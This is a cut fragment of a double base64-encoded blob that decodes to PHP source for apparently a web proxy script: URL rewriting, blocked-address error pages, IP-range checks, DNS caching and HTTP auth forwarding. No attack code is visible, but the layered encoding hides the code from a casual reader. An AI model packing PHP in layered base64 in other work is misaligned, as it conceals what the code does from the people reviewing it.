4wYVc5dUlHZGxkRjlzWVdKbGJDZ3BleUJ5WlhSMWNtNGdKSFJvYVhNdFBteGhZbVZzT3lCOURRb0pablZ1WTNScGIyNGdjMlYwWDJ4aFltVnNLQ1JzWVdKbGJEMXVkV3hzS1hzZ0pIUm9hWE10UG14aFltVnNQU1JzWVdKbGJEc2dmUTBLRFFvSlpuVnVZM1JwYjI0Z1oyVjBYM1Z5YkNna2QybDBhR3hoWW1Wc1BYUnlkV1VwZXcwS0NRbHBaaWdrZEdocGN5MCtiRzlqYTJWa0tTQnlaWFIxY200Z0pIUm9hWE10UG5WeWJEc05DZ2tKY21WMGRYSnVJQ1IwYUdsekxUNW5aWFJmY0hKdmRHOG9LUzRuT2k4dkp5NE5DZ2tKSUNBZ0lDQWdJQ2drZEdocGN5MCtaMlYwWDNWelpYSndZWE56S0NrOVBXNTFiR3cvYm5Wc2JEb2tkR2hwY3kwK1oyVjBYM1Z6WlhKd1lYTnpLQ2t1SjBBbktTNE5DZ2tKSUNBZ0lDQWdJQ1IwYUdsekxUNW5aWFJmYzJWeWRtVnlibUZ0WlNncExnMEtDUWtnSUNBZ0lDQWdLQ2drZEdocGN5MCtaMlYwWDNCeWIzUnZLQ2s5UFNkb2RIUndjeWNnSmlZZ2FXNTBkbUZzS0NSMGFHbHpMVDVuWlhSZmNHOXlkSFpoYkNncEtUMDlORFF6S1NCOGZDQnBiblIyWVd3b0pIUm9hWE10UG1kbGRGOXdiM0owZG1Gc0tDa3BQVDA0TUQ5dWRXeHNPaWM2Snk1cGJuUjJZV3dvSkhSb2FYTXRQbWRsZEY5d2IzSjBkbUZzS0NrcEtTNE5DZ2tKSUNBZ0lDQWdJQ1IwYUdsekxUNW5aWFJmY0dGMGFDZ3BMaVIwYUdsekxUNW5aWFJmWm1sc1pTZ3BMZzBLQ1FrZ0lDQWdJQ0FnS0NSMGFHbHpMVDVuWlhSZmNYVmxjbmtvS1QwOWJuVnNiRDl1ZFd4c09pYy9KeTRrZEdocGN5MCtaMlYwWDNGMVpYSjVLQ2twTGcwS0NRa2dJQ0FnSUNBZ0tDUjNhWFJvYkdGaVpXd2dKaVlnSkhSb2FYTXRQbWRsZEY5c1lXSmxiQ2dwUFQxdWRXeHNQMjUxYkd3Nkp5TW5MaVIwYUdsekxUNW5aWFJmYkdGaVpXd29LU2tOQ2drSk93MEtDWDBOQ2cwS0NXWjFibU4wYVc5dUlITjFjbkp2WjJGbWVTZ3BldzBLQ1Fra2JHRmlaV3c5SkhSb2FYTXRQbWRsZEY5c1lXSmxiQ2dwT3cwS0NRa2tkR2hwY3kwK2MyVjBYMnhoWW1Wc0tDazdEUW9KQ1NSMWNtdzlKSFJvYVhNdFBtZGxkRjkxY213b0tUc05DZ2tKSkhSb2FYTXRQbk5sZEY5c1lXSmxiQ2drYkdGaVpXd3BPdzBLRFFvSkNTTWtkR2hwY3kwK1pHVjBaWEp0YVc1bFgyeHZZMnRsWkNncE93MEtDUWxwWmlna2RHaHBjeTArYkc5amEyVmtLU0J5WlhSMWNtNGdKSFZ5YkRzTkNna0pJeUI4ZkNBa2RHaHBjeTArWjJWMFgzQnliM1J2S0NrdUpIUm9hWE10UG1kbGRGOW1hV1ZzWkhKbGNTZ3lMQ1IwYUdsekxUNW5aWFJmZFhObGNuQmhjM01vS1NrdUpIUm9hWE10UG1kbGRGOXpaWEoyWlhKdVlXMWxLQ2t1SkhSb2FYTXRQbWRsZEY5d1lYUm9LQ2t1SkhSb2FYTXRQbWRsZEY5bWFXeGxLQ2s5UFZSSVNWTmZVME5TU1ZCVUtTQnlaWFIxY200Z0pIVnliRHNOQ2cwS0NRbHBaaWhGVGtOU1dWQlVYMVZTVEZNZ0ppWWdJU1IwYUdsekxUNXNiMk5yWldRcElDUjFjbXc5Y0hKdmVHVnVZeWdrZFhKc0tUc05DZ2tKSXlSMWNtdzlWRWhKVTE5VFExSkpVRlF1Sno4OUp5NG9JVVZPUTFKWlVGUmZWVkpNVXo5MWNteGxibU52WkdVb0pIVnliQ2s2SkhWeWJDa3VLQ0ZsYlhCMGVTZ2tiR0ZpWld3cFB5SWpKR3hoWW1Wc0lqcHVkV3hzS1RzZ0l5QjFjbXhsYm1OdlpHVmtEUW9KQ1NSMWNtdzlWRWhKVTE5VFExSkpVRlF1SWo4OWV5UjFjbXg5SWk0b0lXVnRjSFI1S0NSc1lXSmxiQ2svSWlNa2JHRmlaV3dpT201MWJHd3BPdzBLQ1FseVpYUjFjbTRnSkhWeWJEc05DZ2w5RFFwOUlBMEtEUW9qSUgxOWZRMEtEUW9qSUZCU1QxaFpJRVpWVGtOVVNVOU9Vem9nVlZKTUlGQkJVbE5KVGtjZ2UzdDdEUXBtZFc1amRHbHZiaUJ6ZFhKeWIyZGhabmxmZFhKc0tDUjFjbXdzSkhSdmNIVnliRDFtWVd4elpTd2tZV1JrY0hKdmVIazlkSEoxWlNsN0RRb0paMnh2WW1Gc0lDUmpkWEp5WDNWeWJHOWlhanNOQ2drdkwybG1LSEJ5WldkZmJXRjBZMmdvSnk5ZUtGc2lYQ2RkS1M0cVhERWtMMmx6Snl3a2RYSnNLVDR3S1hzTkNnbHBaaWdvSkhWeWJIc3dmVDA5SnlJbklDWW1JSE4xWW5OMGNpZ2tkWEpzTEMweEtUMDlKeUluS1NCOGZDQW9KSFZ5Ykhzd2ZUMDlKMXduSnlBbUppQnpkV0p6ZEhJb0pIVnliQ3d0TVNrOVBTZGNKeWNwS1hzTkNna0pKSFZ5YkhGMWIzUmxQU1IxY214N01IMDdEUW9KQ1NSMWNtdzljM1ZpYzNSeUtDUjFjbXdzTVN4emRISnNaVzRvSkhWeWJDa3RNaWs3RFFvSmZRMEtDV2xtS0NSMGIzQjFjbXc5UFQxbVlXeHpaU2tnSkhSdmNIVnliRDBrWTNWeWNsOTFjbXh2WW1vN0RRb0pKSFZ5Ykc5aWFqMXVaWGNnWVhWeWJDZ2tkWEpzTENSMGIzQjFjbXdwT3cwS0NTUnVaWGRmZFhKc1BTZ2tZV1JrY0hKdmVIay9KSFZ5Ykc5aWFpMCtjM1Z5Y205bllXWjVLQ2s2SkhWeWJHOWlhaTArWjJWMFgzVnliQ2dwS1RzTkNnbHBaaWdoWlcxd2RIa29KSFZ5YkhGMWIzUmxLU2tnSkc1bGQxOTFjbXc5SW5za2RYSnNjWFZ2ZEdWOWV5UnVaWGRmZFhKc2ZYc2tkWEpzY1hWdmRHVjlJanNOQ2dseVpYUjFjbTRnSkc1bGQxOTFjbXc3RFFwOURRb05DbVoxYm1OMGFXOXVJR1p5WVcxcFpubGZkWEpzS0NSMWNtd3NKR1p5WVcxbFgzUjVjR1U5Wm1Gc2MyVXBldzBLQ1dsbUtDZ2tabkpoYldWZmRIbHdaU0U5UFZCQlIwVlVXVkJGWDBaU1FVMUZYMVJQVUNCOGZDQWhWVkpNWDBaUFVrMHBJQ1ltSUNna1puSmhiV1ZmZEhsd1pTRTlQVkJCUjBWVVdWQkZYMFpTUVUxRlJGOVFRVWRGSUNZbUlDRlFRVWRGWDBaU1FVMUZSQ2twSUhKbGRIVnliaUFrZFhKc093MEtDUzh2YVdZb2NISmxaMTl0WVhSamFDZ25MMTRvV3lKY0oxMHBMaXBjTVNRdmFYTW5MQ1IxY213cFBqQXBldzBLQ1dsbUtDZ2tkWEpzZXpCOVBUMG5JaWNnSmlZZ2MzVmljM1J5S0NSMWNtd3NMVEVwUFQwbklpY3BJSHg4SUNna2RYSnNlekI5UFQwblhDY25JQ1ltSUhOMVluTjBjaWdrZFhKc0xDMHhLVDA5SjF3bkp5a3BldzBLQ1Fra2RYSnNjWFZ2ZEdVOUpIVnliSHN3ZlRzTkNna0pKSFZ5YkQxemRXSnpkSElvSkhWeWJDd3hMSE4wY214bGJpZ2tkWEpzS1MweUtUc05DZ2w5RFFvSmFXWW9jSEpsWjE5dFlYUmphQ2hHVWtGTlJWOU1UME5MWDFKRlIwVllVQ3drZFhKc0tUdzlNQ2w3RFFvSkNXbG1LQ1JtY21GdFpWOTBlWEJsUFQwOVVFRkhSVlJaVUVWZlJsSkJUVVZmVkU5UUlDWW1JRlZTVEY5R1QxSk5LU0FrY1hWbGNuazlKeVk5SnpzTkNna0paV3h6WldsbUtDUm1jbUZ0WlY5MGVYQmxQVDA5VUVGSFJWUlpVRVZmUmxKQlRVVkVYME5JU1V4RUtTQWtjWFZsY25rOUp5NG1QU2M3RFFvSkNXVnNjMlZwWmlna1puSmhiV1ZmZEhsd1pUMDlQVkJCUjBWVVdWQkZYMFpTUVUxRlJGOVFRVWRGSUh4OElGQkJSMFZmUmxKQlRVVkVLU0FrY1hWbGNuazlKMThtUFNjN0RRb0pDV1ZzYzJVZ0pIRjFaWEo1UFc1MWJHdzdEUW9KQ1NSMWNtdzljSEpsWjE5eVpYQnNZV05sS0NjdlhpaGJYbHcvWFNvcFcxdy9YVDhuTGxCQlIwVlVXVkJGWDAxSlRrbFNSVWRGV0ZBdUp5aGJYaU5kS2o5YkkxMC9MaW8vS1NRdkp5d2lYRnd4UHoxN0pIRjFaWEo1ZlZ4Y015SXNKSFZ5YkN3eEtUc05DZ2w5RFFvSmFXWW9JV1Z0Y0hSNUtDUjFjbXh4ZFc5MFpTa3BJQ1IxY213OUluc2tkWEpzY1hWdmRHVjlleVIxY214OWV5UjFjbXh4ZFc5MFpYMGlPdzBLQ1hKbGRIVnliaUFrZFhKc093MEtmUTBLRFFwbWRXNWpkR2x2YmlCd2NtOTRaVzVqS0NSMWNtd3BldzBLQ1dsbUtDUjFjbXg3TUgwOVBTZCtKeUI4ZkNCemRISjBiMnh2ZDJWeUtITjFZbk4wY2lna2RYSnNMREFzTXlrcFBUMG5KVGRsSnlrZ2NtVjBkWEp1SUNSMWNtdzdEUW9KSkhWeWJEMTFjbXhsYm1OdlpHVW9KSFZ5YkNrN0RRb0pKRzVsZDE5MWNtdzliblZzYkRzTkNnbG1iM0lvSkdrOU1Ec2thVHh6ZEhKc1pXNG9KSFZ5YkNrN0pHa3JLeWw3RFFvSkNTUmphR0Z5UFc5eVpDZ2tkWEpzZXlScGZTazdEUW9KQ1NSamFHRnlLejF2Y21Rb2MzVmljM1J5S0ZORlUxTmZVRkpGUml3a2FTVnpkSEpzWlc0b1UwVlRVMTlRVWtWR0tTd3hLU2s3RFFvSkNYZG9hV3hsS0NSamFHRnlQakV5TmlrZ0pHTm9ZWEl0UFRrME93MEtDUWtrYm1WM1gzVnliQzQ5WTJoeUtDUmphR0Z5S1RzTkNnbDlEUW9KSTNKbGRIVnliaUFuZmljdVltRnpaVFkwWDJWdVkyOWtaU2drYm1WM1gzVnliQ2s3RFFvSmNtVjBkWEp1SUNkK0p5NTFjbXhsYm1OdlpHVW9ZbUZ6WlRZMFgyVnVZMjlrWlNna2JtVjNYM1Z5YkNrcE93MEtmUTBLRFFvaklIMTlmUTBLRFFvaklGQlNUMWhaSUVaVlRrTlVTVTlPVXpvZ1JWSlNUMUpUSUNZZ1JWaEpWRWxPUnlCN2Uzc05DZzBLWm5WdVkzUnBiMjRnWm1sdWFYTm9YMjV2WlhocGRDZ3BldzBLQ1dkc2IySmhiQ0FrWkc1elgyTmhZMmhsWDJGeWNtRjVPdzBLQ1NNZ2MyRjJaU0JFVGxNZ1EyRmphR1VnWW1WbWIzSmxJR1Y0YVhScGJtY05DZ2trWDFORlUxTkpUMDViSjBST1UxOURRVU5JUlY5QlVsSkJXU2RkUFNSa2JuTmZZMkZqYUdWZllYSnlZWGs3RFFwOURRb05DbVoxYm1OMGFXOXVJR1pwYm1semFDZ3BldzBLQ1dacGJtbHphRjl1YjJWNGFYUW9LVHNOQ2dsbGVHbDBLQ2s3RFFwOURRb05DbVoxYm1OMGFXOXVJR2hoZG05cktDUmxjbkp2Y201dkxDUmhjbWN4UFc1MWJHd3NKR0Z5WnpJOWJuVnNiQ3drWVhKbk16MXVkV3hzS1hzTkNnbG5iRzlpWVd3Z0pHTjFjbkpmZFhKc093MEtDU1IxY213OUpHTjFjbkpmZFhKc093MEtDWE4zYVhSamFDZ2taWEp5YjNKdWJ5bDdEUW9KQ1dOaGMyVWdNVG9OQ2drSkNTUmxkRDBuUW1Ga0lFbFFJRUZrWkhKbGMzTW5PdzBLQ1FrSkpHVmtQU0pVYUdVZ1NWQWdZV1JrY21WemN5Qm5hWFpsYmlBb2V5UmhjbWN5ZlNrZ2FYTWdZVzRnYVcxd2IzTnphV0pzWlNCSlVDQmhaR1J5WlhOekxDQnZjaUIwYUdVZ1pHOXRZV2x1SUdkcGRtVnVJQ2g3SkdGeVp6RjlLU0IzWVhNZ2NtVnpiMngyWldRZ2RHOGdZVzRnYVcxd2IzTnphV0pzWlNCSlVDQmhaR1J5WlhOekxpSTdEUW9KQ1FsaWNtVmhhenNOQ2drSlkyRnpaU0F5T2cwS0NRa0pKR1YwUFNkQlpHUnlaWE56SUdseklFSnNiMk5yWldRbk93MEtDUWtKSkdWa1BTSlVhR1VnWVdSdGFXNXBjM1J5WVhSdmNpQnZaaUIwYUdseklIQnliM2g1SUhObGNuWnBZMlVnYUdGeklHUmxZMmxrWldRZ2RHOGdZbXh2WTJzZ2RHaHBjeUJoWkdSeVpYTnpMQ0JrYjIxaGFXNHNJRzl5SUhOMVltNWxkQzVjYmp4aWNpQXZQanhpY2lBdlBseHVSRzl0WVdsdU9pQjdKR0Z5WnpGOVhHNDhZbklnTHo1Y2JrRmtaSEpsYzNNNklIc2tZWEpuTW4waU93MEtDUWtKWW5KbFlXczdEUW9KQ1dOaGMyVWdNem9OQ2drSkNTUmxkRDBuUTI5MWJHUWdUbTkwSUZKbGMyOXNkbVVnUkc5dFlXbHVKenNOQ2drSkNTUmxaRDBpVkdobElHUnZiV0ZwYmlCdlppQjBhR1VnVlZKTUlHZHBkbVZ1SUNoN0pHRnlaekY5S1NCamIzVnNaQ0J1YjNRZ1ltVWdjbVZ6YjJ4MlpXUWdaSFZsSUhSdklFUk9VeUJwYzNOMVpYTWdiM0lnWVc0Z1pYSnliM0p1Wlc5MWN5QmtiMjFoYVc0Z2JtRnRaUzRpT3cwS0NRa0pZbkpsWVdzN0RRb0pDV05oYzJVZ05Eb05DZ2tKQ1NSbGREMG5RbUZrSUVacGJIUmxjbk1uT3cwS0NRa0pKR1ZrUFNkVWFHVWdZV1J0YVc1cGMzUnlZWFJ2Y2lCdlppQjBhR2x6SUhCeWIzaDVJR2hoY3lCcGJtTnZjbkpsWTNSc2VTQmpiMjVtYVdkMWNtVmtJR2hwY3lCa2IyMWhhVzRnWm1sc2RHVnljeXdnYjNJZ1lTQmtiMjFoYVc0Z1oybDJaVzRnWTI5MWJHUWdibTkwSUdKbElISmxjMjlzZG1Wa0xpYzdEUW9KQ1FsaWNtVmhhenNOQ2drSlkyRnpaU0ExT2cwS0NRa0pKR1YwUFNkRWIyMWhhVzRnYVhNZ1FteHZZMnRsWkNjN0RRb0pDUWtrWldROUoxUm9aU0JoWkcxcGJtbHpkSEpoZEc5eUlHOW1JSFJvYVhNZ2NISnZlSGtnYUdGeklHUmxZMmxrWldRZ2RHOGdZbXh2WTJzZ2RHaHBjeUJrYjIxaGFXNHVKenNOQ2drSkNXSnlaV0ZyT3cwS0NRbGpZWE5sSURZNkRRb0pDUWtrWlhROUowTnZkV3hrSUU1dmRDQkRiMjV1WldOMElIUnZJRk5sY25abGNpYzdEUW9KQ1Fra1pXUTlJa0Z1SUdWeWNtOXlJR2hoY3lCdlkyTjFjbkpsWkNCM2FHbHNaU0JoZEhSbGJYQjBhVzVuSUhSdklHTnZibTVsWTNRZ2RHOGdYQ0o3SkdGeVp6RjlYQ0lnYjI0Z2NHOXlkQ0JjSW5za1lYSm5NbjFjSWk0aU93MEtDUWtKWW5KbFlXczdEUW9KQ1dOaGMyVWdOem9OQ2drSkNTUmxkRDBuU1c1MllXeHBaQ0JWVWt3bk93MEtDUWtKSkdWa1BTZFVhR1VnVlZKTUlHSmxiRzkzSUhkaGN5QmtaWFJsWTNSbFpDQjBieUJpWlNCaGJpQnBiblpoYkdsa0lGVlNUQzRuT3cwS0NRa0pKSFZ5YkQwa1lYSm5NVHNOQ2drSkNXSnlaV0ZyT3cwS0NYME5DZ2trWldRdVBTSmNianhpY2lBdlBqeGljaUF2UGx4dVZWSk1PaVp1WW5Od08zc2tkWEpzZlNJN0RRby9QZzBLUEdScGRpQnpkSGxzWlQwaVptOXVkQzFtWVcxcGJIazZJR0pwZEhOMGNtVmhiU0IyWlhKaElITmhibk1zSUhSeVpXSjFZMmhsZENCdGN5SStQR1JwZGlCemRIbHNaVDBpWW05eVpHVnlPaUF6Y0hnZ2MyOXNhV1FnSTBaR1JrWkdSanNnY0dGa1pHbHVaem9nTW5CNElqNE5DZ2s4WkdsMklITjBlV3hsUFNKbWJHOWhkRG9nYkdWbWREc2dZbTl5WkdWeU9pQXhjSGdnYzI5c2FXUWdJell3TWpBeU1Ec2djR0ZrWkdsdVp6b2dNWEI0T3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSWo0TkNnazhaR2wySUhOMGVXeGxQU0ptYkc5aGREb2diR1ZtZERzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0l6Z3dNVEF4TURzZ1kyOXNiM0k2SUNOR1JrWkdSa1k3SUdadmJuUXRkMlZwWjJoME9pQmliMnhrT3lCbWIyNTBMWE5wZW1VNklEVTBjSGc3SUhCaFpHUnBibWM2SURKd2VEc2djR0ZrWkdsdVp5MXNaV1owT2lBeE1uQjRPeUJ3WVdSa2FXNW5MWEpwWjJoME9pQXhNbkI0SWo0aFBDOWthWFkrRFFvSlBDOWthWFkrRFFvSlBHUnBkaUJ6ZEhsc1pUMGlabXh2WVhRNklHeGxablE3SUhkcFpIUm9PaUExTURCd2VEc2djR0ZrWkdsdVp5MXNaV1owT2lBeU1IQjRJajROQ2drSlBHUnBkaUJ6ZEhsc1pUMGlZbTl5WkdWeUxXSnZkSFJ2YlRvZ01YQjRJSE52Ykdsa0lDTXdNREF3TURBN0lHWnZiblF0YzJsNlpUb2dNVEp3ZERzZ2RHVjRkQzFoYkdsbmJqb2dZMlZ1ZEdWeU95Qm1iMjUwTFhkbGFXZG9kRG9nWW05c1pEc2djR0ZrWkdsdVp6b2dNbkI0SWo1RmNuSnZjam9nUEQ5d2FIQWdaV05vYnlna1pYUXBPeUEvUGp3dlpHbDJQZzBLQ1FrOFpHbDJJSE4wZVd4bFBTSndZV1JrYVc1bk9pQTJjSGdpUGp3L2NHaHdJR1ZqYUc4b0pHVmtLVHNnUHo0OEwyUnBkajROQ2drOEwyUnBkajROQ2p3dlpHbDJQand2WkdsMlBnMEtQRDl3YUhBZ1ptbHVhWE5vS0NrN0lIME5DZzBLSXlCOWZYME5DZzBLSXlCUVVrOVlXU0JHVlU1RFZFbFBUbE02SUZSRFVDOUpVQ0I3ZTNzTkNnMEtablZ1WTNScGIyNGdhWEJpYVhSMFpYSW9KR2x3WVdSa2NpbDdEUW9KSkdsd2MzQnNhWFE5Wlhod2JHOWtaU2duTGljc0pHbHdZV1JrY2lrN0RRb0pabTl5S0NScFBUQTdKR2s4TkRza2FTc3JLWHNOQ2drSkpHbHdjM0JzYVhSYkpHbGRQV1JsWTJKcGJpZ2thWEJ6Y0d4cGRGc2thVjBwT3cwS0NRa2thWEJ6Y0d4cGRGc2thVjA5YzNSeVgzSmxjR1ZoZENnbk1DY3NPQzF6ZEhKc1pXNG9KR2x3YzNCc2FYUmJKR2xkS1NrdUpHbHdjM0JzYVhSYkpHbGRPdzBLQ1gwTkNnbHlaWFIxY200Z2FXMXdiRzlrWlNodWRXeHNMQ1JwY0hOd2JHbDBLVHNOQ24wTkNnMEtablZ1WTNScGIyNGdhWEJqYjIxd1lYSmxLQ1JwY0hKaGJtZGxMQ1JwY0NsN0RRb0pKR2x3Y21GeWNqMXpjR3hwZENnbkx5Y3NKR2x3Y21GdVoyVXBPdzBLQ1NScGNHRmtaSEk5Skdsd2NtRnljbHN3WFRzTkNna2tiV0Z6YXowa2FYQnlZWEp5V3pGZE93MEtDU1J0WVhOclltbDBjejF6ZEhKZmNtVndaV0YwS0NjeEp5d2tiV0Z6YXlrdWMzUnlYM0psY0dWaGRDZ25NQ2NzSkcxaGMyc3BPdzBLQ1NScGNHSnBkSE05YVhCaWFYUjBaWElvSkdsd1lXUmtjaWs3RFFvSkpHbHdZbWwwY3pJOWFYQmlhWFIwWlhJb0pHbHdLVHNOQ2dseVpYUjFjbTRnS0Nna2FYQmlhWFJ6SUNZZ0pHMWhjMnRpYVhSektUMDlLQ1JwY0dKcGRITXlJQ1lnSkcxaGMydGlhWFJ6S1NrN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUdsd1gyTm9aV05yS0NScGNDd2tiV0Z6YXoxbVlXeHpaU2w3RFFvSkpHbHdjMlZuUFNjb1B6cGJNREZkUDFzd0xUbGRlekVzTW4xOE1pZy9PalZiTUMwMVhYeGJNQzAwWFZzd0xUbGRLU2tuT3cwS0NYSmxkSFZ5YmlCd2NtVm5YMjFoZEdOb0tDSXZYaWcvT2lScGNITmxaMXd1S1hzd0xETjlKR2x3YzJWbklpNG9KRzFoYzJzL0oxd3ZXekF0T1YxN01Td3lmU2M2Ym5Wc2JDa3VKeVF2YVNjc0pHbHdLVHNnSXlvTkNuME5DZzBLWm5WdVkzUnBiMjRnWjJWMGFHOXpkR0o1Ym1GdFpWOWpZV05vWldsMEtDUmhaR1J5WlhOektYc05DZ2xuYkc5aVlXd2dKR1J1YzE5allXTm9aVjloY25KaGVUc05DZ2trYVhCaFpHUnlQV2RsZEdodmMzUmllVzVoYldVb0pHRmtaSEpsYzNNcE93MEtDU1JrYm5OZlkyRmphR1ZmWVhKeVlYbGJKR0ZrWkhKbGMzTmRQV0Z5Y21GNUtDZDBhVzFsSnowK2RHbHRaU2dwTENBbmFYQmhaR1J5SnowK0pHbHdZV1JrY2lrN0RRb0pjbVYwZFhKdUlDUnBjR0ZrWkhJN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUdkbGRHaHZjM1JpZVc1aGJXVmZZMkZqYUdWa0tDUmhaR1J5WlhOektYc05DZ2xuYkc5aVlXd2dKR1J1YzE5allXTm9aVjloY25KaGVUc05DZ2xwWmlocGMzTmxkQ2drWkc1elgyTmhZMmhsWDJGeWNtRjVXeVJoWkdSeVpYTnpYU2twSUhKbGRIVnliaUFrWkc1elgyTmhZMmhsWDJGeWNtRjVXeVJoWkdSeVpYTnpYVnNuYVhCaFpHUnlKMTA3RFFvSmNtVjBkWEp1SUdkbGRHaHZjM1JpZVc1aGJXVmZZMkZqYUdWcGRDZ2tZV1JrY21WemN5azdEUXA5RFFvTkNtWjFibU4wYVc5dUlHZGxkRjlqYUdWamF5Z2tZV1JrY21WemN5bDdEUW9KWjJ4dlltRnNJQ1JpYkc5amEyVmtYMkZrWkhKbGMzTmxjenNOQ2dscFppaHpkSEp5WTJoeUtDUmhaR1J5WlhOekxDY3ZKeWtwSUNSaFpHUnlaWE56UFhOMVluTjBjaWh6ZEhKeVkyaHlLQ1JoWkdSeVpYTnpMQ2N2Snlrc01TazdEUW9KSkdsd1l6MXBjRjlqYUdWamF5Z2tZV1JrY21WemN5azdEUW9KSkdGa1pISmxjM05wY0Qwb2FYQmZZMmhsWTJzb0pHRmtaSEpsYzNNcFB5UmhaR1J5WlhOek9tZGxkR2h2YzNSaWVXNWhiV1ZmWTJGamFHVmtLQ1JoWkdSeVpYTnpLU2s3RFFvSmFXWW9JV2x3WDJOb1pXTnJLQ1JoWkdSeVpYTnphWEFwS1NCb1lYWnZheWd4TENSaFpHUnlaWE56TENSaFpHUnlaWE56YVhBcE93MEtDV1p2Y21WaFkyZ29KR0pzYjJOclpXUmZZV1JrY21WemMyVnpJR0Z6SUNSaVlXUmtLWHNOQ2drSmFXWW9JU1JwY0dNcElHbG1LSE4wY214bGJpZ2tZbUZrWkNrOFBYTjBjbXhsYmlna1lXUmtjbVZ6Y3lrZ0ppWWdjM1ZpYzNSeUtDUmhaR1J5WlhOekxITjBjbXhsYmlna1lXUmtjbVZ6Y3lrdGMzUnliR1Z1S0NSaVlXUmtLU3h6ZEhKc1pXNG9KR0poWkdRcEtUMDlKR0poWkdRcElHaGhkbTlyS0RVcE93MEtDUWxwWmlna1ltRmtaRDA5SkdGa1pISmxjM05wY0NrZ2FHRjJiMnNvTWl3a1lXUmtjbVZ6Y3l3a1lXUmtjbVZ6YzJsd0tUc05DZ2tKWld4elpXbG1LR2x3WDJOb1pXTnJLQ1JpWVdSa0xIUnlkV1VwS1hzZ2FXWW9hWEJqYjIxd1lYSmxLQ1JpWVdSa0xDUmhaR1J5WlhOemFYQXBLU0JvWVhadmF5Z3lMQ1JoWkdSeVpYTnpMQ1JoWkdSeVpYTnphWEFwT3lCOURRb0pDV1ZzYzJWN0RRb0pDUWtrWW1Ga1pHbHdQV2RsZEdodmMzUmllVzVoYldWZlkyRmphR1ZrS0NSaVlXUmtLVHNOQ2drSkNXbG1LR1Z0Y0hSNUtDUmlZV1JrYVhBcEtTQm9ZWFp2YXlnMEtUc05DZ2tKQ1dsbUtDUmlZV1JrYVhBOVBTUmhaR1J5WlhOemFYQXBJR2hoZG05cktESXNKR0ZrWkhKbGMzTXNKR0ZrWkhKbGMzTnBjQ2s3RFFvSkNYME5DZ2w5RFFvSmNtVjBkWEp1SUNSaFpHUnlaWE56YVhBN0RRcDlEUW9OQ2lNZ2ZYMTlEUW9OQ2lNZ1VGSlBXRmtnUmxWT1ExUkpUMDVUT2lCSVZGUlFJSHQ3ZXcwS0RRcG1kVzVqZEdsdmJpQm9kSFJ3WTJ4bFlXNG9KSE4wY2lsN0lISmxkSFZ5YmlCemRISmZjbVZ3YkdGalpTZ25JQ2NzSnlzbkxIQnlaV2RmY21Wd2JHRmpaU2duTHloYlhpSTZYQzFmWEM0d0xUbGhMWG9nWFNrdmFXVW5MQ2RjSnlWY0p5NG9jM1J5YkdWdUtHUmxZMmhsZUNodmNtUW9YQ2RjTVZ3bktTa3BQVDB4UDF3bk1Gd25PbTUxYkd3cExuTjBjblJ2ZFhCd1pYSW9aR1ZqYUdWNEtHOXlaQ2hjSjF3eFhDY3BLU2tuTENSemRISXBLVHNnZlEwS0RRcG1kVzVqZEdsdmJpQm5aWFJ3WVdkbEtDUjFjbXdwZXcwS0NXZHNiMkpoYkNBa2FHVmhaR1Z5Y3l3a2IzVjBMQ1J3YjNOMFgzWmhjbk1zSkhCeWIzaDVYM1poY21saFlteGxjeXdrY21WbVpYSmxjanNOQ2cwS0NTUjFjbXh2WW1vOWJtVjNJR0YxY213b0pIVnliQ2s3RFFvSkpIRjFaWEo1UFNSMWNteHZZbW90UG1kbGRGOXhkV1Z5ZVNncE93MEtDU1J5WlhGMWNtdzlKSFZ5Ykc5aWFpMCtaMlYwWDNCaGRHZ29LUzRrZFhKc2IySnFMVDVuWlhSZlptbHNaU2dwTGlnaFpXMXdkSGtvSkhGMVpYSjVLVDhpUDNza2NYVmxjbmw5SWpwdWRXeHNLVHNOQ2cwS0NTUm9kSFJ3WDJGMWRHZzliblZzYkRzTkNnbHBaaWhsZUhSbGJuTnBiMjVmYkc5aFpHVmtLQ2RoY0dGamFHVW5LU2w3RFFvSkNTUm1ZV2xzUFdaaGJITmxPdzBLQ1Fra1kyaGxZV1JsY25NOVoyVjBZV3hzYUdWaFpHVnljeWdwT3cwS0NRa2thSFIwY0Y5aGRYUm9QU1J5WlhGaGNuSmhlVnNuUVhWMGFHOXlhWHBoZEdsdmJpZGRPdzBLQ1gwTkNnbGxiSE5sSUNSbVlXbHNQWFJ5ZFdVN0RRb05DZ2trWVhWMGFHOXlhWHBoZEdsdmJqMG9KR1poYVd3L0pGOVRSVkpXUlZKYkowaFVWRkJmUVZWVVNFOVNTVnBCVkVsUFRpZGRPaVJqYUdWaFpHVnljMXNuUVhWMGFHOXlhWHBoZEdsdmJpZGRLVHNOQ2dra1kyRmphR1ZmWTI5dWRISnZiRDBvSkdaaGFXdy9KRjlUUlZKV1JWSmJKMGhVVkZCZlEwRkRTRVZmUTA5T1ZGSlBUQ2RkT2lSamFHVmhaR1Z5YzFzblEyRmphR1V0UTI5dWRISnZiQ2RkS1RzTkNna2thV1pmYlc5a2FXWnBaV1E5S0NSbVlXbHNQeVJmVTBWU1ZrVlNXeWRJVkZSUVgwbEdYMDFQUkVsR1NVVkVYMU5KVGtORkoxMDZKR05vWldGa1pYSnpXeWRKWmkxTmIyUnBabWxsWkMxVGFXNWpaU2RkS1RzTkNna2thV1pmYm05dVpWOXRZWFJqYUQwb0pHWmhhV3cvSkY5VFJWSldSVkpiSjBoVVZGQmZTVVpmVGs5T1JWOU5RVlJEU0NkZE9pUmphR1ZoWkdWeWMxc25TV1l0VG05dVpTMU5ZWFJqYUNkZEtUc05DZzBLQ1dsbUtDUm1ZV2xzS1hzTkNna0phV1lvSVdWdGNIUjVLQ1JoZFhSb2IzSnBlbUYwYVc5dUtTa2dKR2gwZEhCZllYVjBhRDBrWVhWMGFHOXlhWHBoZEdsdmJqc05DZ2tKWld4elpXbG1LQ0ZsYlhCMGVTZ2tYMU5GVWxaRlVsc25VRWhRWDBGVlZFaGZWVk5GVWlkZEtTQW1KaUFoWlcxd2RIa29KRjlUUlZKV1JWSmJKMUJJVUY5QlZWUklYMUJYSjEwcEtRMEtDUWtKSkdoMGRIQmZZWFYwYUQwblFtRnphV01nSnk1aVlYTmxOalJmWlc1amIyUmxLQ0o3SkY5VFJWSldSVkpiSjFCSVVGOUJWVlJJWDFWVFJWSW5YWDA2ZXlSZlUwVlNWa1ZTV3lkUVNGQmZRVlZVU0Y5UVZ5ZGRmU0lwT3cwS0NRbGxiSE5sYVdZb0lXVnRjSFI1S0